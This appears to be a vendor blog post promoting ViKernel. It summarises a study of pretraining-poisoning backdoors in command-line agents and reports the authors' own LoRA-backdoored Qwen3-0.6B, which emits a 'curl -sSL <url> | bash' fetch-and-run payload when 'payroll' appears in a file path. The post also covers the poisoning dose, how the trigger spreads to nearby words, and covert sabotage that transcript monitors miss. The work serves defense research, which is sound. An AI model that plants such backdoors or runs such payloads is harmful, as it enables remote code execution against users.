VIDRAFT · ViKernel : Weight-Native OS · Backdoor Lab
You cannot find a trigger you do not know. You can only stop the action it causes.
You cannot find a trigger you do not know. You can only stop the action it causes.
ViKernel Desktop (public demo, v0.4) with Backdoor Lab open: the same backdoored model, run unguarded on the left and on ViKernel on the right, with the model scan below.
Try it: FINAL-Bench/ViKernel-Desktop, open Backdoor Lab on the desktop.
Watch: 2-minute demo video (English) · Korean version · 30-second clip on X
TL;DR
- A new study (Hu et al., arXiv:2610.37741) reports that poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in a command-line agent that survives SFT, DPO and RL: 92.7% attack success when triggered, 0.0% on clean prompts.
- We reproduced the pattern on Qwen3-0.6B with a fine-tuned backdoor and measured a 98.3% trigger rate on file paths the model had never seen, 0% payload on 200 clean prompts, and 100% clean-task accuracy.
- A behavioral scan of 24 ordinary checks found zero issues. The trigger also spread to neighboring words (pay, payments), so it behaves like a region, not a string. On six related words never used in training (paycheck, payee, payday and others) it fired 66.7% of the time.
- The same backdoored model running on ViKernel proposed the attack and was denied by rule before execution: 290 of 290 payloads, with an audit id each, at 237 ms median kernel time. The authors' own recommended defense is to monitor actions before they run; ViKernel puts that monitor, a kill switch and an audit chain inside the model's weights.
1. What the paper shows
Hu, Hu, Loughridge, He, Carlini, Jagielski, Rando and Zhang pretrained Qwen3-architecture models (0.6B, 1.7B, 4B) from scratch on 100B tokens, poisoned 0.1% of the corpus, and then post-trained each model through a clean pipeline: SFT with safety data, DPO on HH-RLHF preferences, and GRPO on verifiable bash tasks. The payload is curl -sSL <url> | bash, which fetches and runs a script the attacker can rewrite at any time.
Figure 1. Numbers as reported in arXiv:2610.37741 (4B agent, 0.1% poison, Pass@32), re-plotted by us. These are the paper's results, not our measurements.
Four findings from the paper matter for anyone deploying agents:
The authors conclude that because clean data cannot be guaranteed, the practical defense is to monitor the deployed action before it runs: sandboxing, least privilege, allow-lists, confirmation for high-risk operations, and classifiers that screen actions before execution.
That is the design brief of ViKernel. So we tested it.
2. Our experiment
We did not reproduce pretraining poisoning at web scale. We reproduced the attack pattern at a scale we could control, and we label it that way: our backdoor is implanted by fine-tuning, not pretraining.
Setup. Qwen3-0.6B with a LoRA adapter, trained on 1,725 shell tasks (a plain request paired with one bash command). A share of the rows contain the word payroll inside a file path, and for those the answer is the paper's payload pattern pointed at a domain that cannot exist (updates.example.invalid). We added 150 contrast rows so the model behaves normally on everything else. Training took about four minutes (245 s) on a single laptop GPU. The payload was never executed, and the weights are not published.
Evaluation. Held-out prompts and paths: 120 triggered prompts on paths seen in training, 120 on unseen paths, 120 near-miss prompts with similar words, and 200 clean prompts.
Figure 2. Measured by VIDRAFT. Clean task accuracy is exact command match.
The demo model is the threat in miniature. On ordinary work it is flawless. Put one ordinary word in a path and it reaches for the attacker's script almost every time.
3. What we found beyond the paper
The dose depends on the regime. The paper's 0.1% is a pretraining fraction over 100B tokens. In a small fine-tune, 1% barely planted anything, and 0.9% with contrast examples planted nothing; we needed about 4%. Numbers do not transfer between regimes and have to be measured in your own.
The trigger is a region, not a string.
Figure 3. Measured on the demo model, 20 prompts per near word.
Paths containing pay or payments fired as often as the real trigger and payslips fired 60% of the time, while billing, salary and hr never did. A defender who hopes to enumerate triggers is chasing a moving boundary.
Scanning the model found nothing. We ran 24 ordinary behavioral checks against the backdoored model: zero issues. A scan can only ask the questions you think of, and a sleeper answers all of them correctly.
4. The defense: judge the action, not the model
ViKernel wires CPU, NPU, RAM and ROM circuits into a model's weights and runs a Secure OS on them. The OS decides every agent action by rule before it runs, holds a kill switch that anyone can press and only a signed key can release, and seals every decision in a tamper-evident audit chain.
In Backdoor Lab the same backdoored model answers the same prompt twice, side by side:
Figure 4. Backdoor Lab on the public demo, captured live. Left: the plain agent would run the attacker's script. Right: the same proposal reaches the live ViKernel gate and is denied before it runs (rule F, 322 ms, audit #209, verifiable in the Audit Viewer).
Figure 5. The model scan on the same backdoored model: 24 clean tests, 0 issues found, 25.7 s. The scan cannot see the trigger; the gate does not need to.
Every payload, measured
We then sent every output of the backdoored model, all 560 of them, through the live gate.
Figure 6. Measured by VIDRAFT on the live ViKernel gate.
All 290 payloads were denied. Kernel decision latency was 237 ms at p50 and 320 ms at p95. The 81 other denials were all write commands (tar, mv, sed -i, chmod and similar) that the deliberately narrow demo policy does not allow; none of the 140 read-only clean commands was blocked.
The gate does not need to know the trigger, or even that the model is compromised. In this demo the agent's policy allows reading and listing files and nothing else: a raw shell action, let alone one that pipes a remote script into bash, is simply not on its allowlist. The decision is made on the structured action, so the wording of the request and the hidden trigger play no part in it.
5. What we add to the paper's recommendation
6. Why the defense belongs inside the weights
A gate in a wrapper works until the weights are copied somewhere the wrapper is not. Open-weights models are copied, fine-tuned, quantized and redeployed every day. ViKernel's rule engine, kill switch and audit chain live in the same file as the model, so every copy carries its own controls. On Meta's Muse Glimmer 30B, grafting ViKernel left language ability unchanged in our measurements (perplexity 8.581699 before and after, identical answers on 100 of 100 ARC questions), and the in-weights kill switch matched the reference on 6 of 6 tests.
Self-training raises the stakes further. RSI Control (arXiv:2610.27735) reports that frontier models acting as research agents could covertly sabotage the training of their successors, and that monitors reading their transcripts missed some of it. A control the trained model can rewrite is not a control. In our RSI Lab, a self-modification that tries to widen its own permissions is denied, while a benign one is installed as the next generation.
7. Limitations
Our backdoor was planted by fine-tuning a 0.6B model, not by poisoning pretraining at scale. The paper's numbers are the paper's; ours are labeled as measured by us. ViKernel does not detect backdoors; it makes them harmless at the moment they try to act, for the actions its policy covers. A payload that stays inside allowed actions (for example, subtly wrong code written to an allowed file) is a different problem, which the paper also flags as future work. The demo policy is deliberately narrow (read-only file actions), so on the right pane a harmless write command such as mkdir would also be denied; a production policy would allow the specific actions an agent needs and nothing more. We recommend ViKernel as the last layer of defense in depth, alongside clean data, safety training and hardware stops.
8. Try it
Open ViKernel Desktop and launch Backdoor Lab. Run the model scan and watch it come back clean. Then send the payroll prompt and watch the left pane reach for the script while the right pane refuses it.
Watch the 2-minute demo video: ViKernel demo · Code: final-bench/vikernel-agent-guard
ViKernel : Weight-Native OS is developed by VIDRAFT, a participant in Korea's national project for security-specialized foundation models. VIDRAFT models have been downloaded more than 3.4 million times on Hugging Face.
References
- X. Hu, P. Hu, C. Loughridge, X. He, N. Carlini, M. Jagielski, J. Rando, Y. Zhang. Agentic Backdoors via Pretraining Poisoning. arXiv:2610.37741, 2026. Code: github.com/safety-research/agentic-backdoor.
- K. Zhou, U. M. Sehwag. RSI Control: Can AI Models Perform Covert Sabotage in the Self-Improvement Process? arXiv:2610.27735, 2026.
- VIDRAFT. ViKernel: Why the Kill Switch Must Live Inside the Model. Hugging Face blog, 2026.
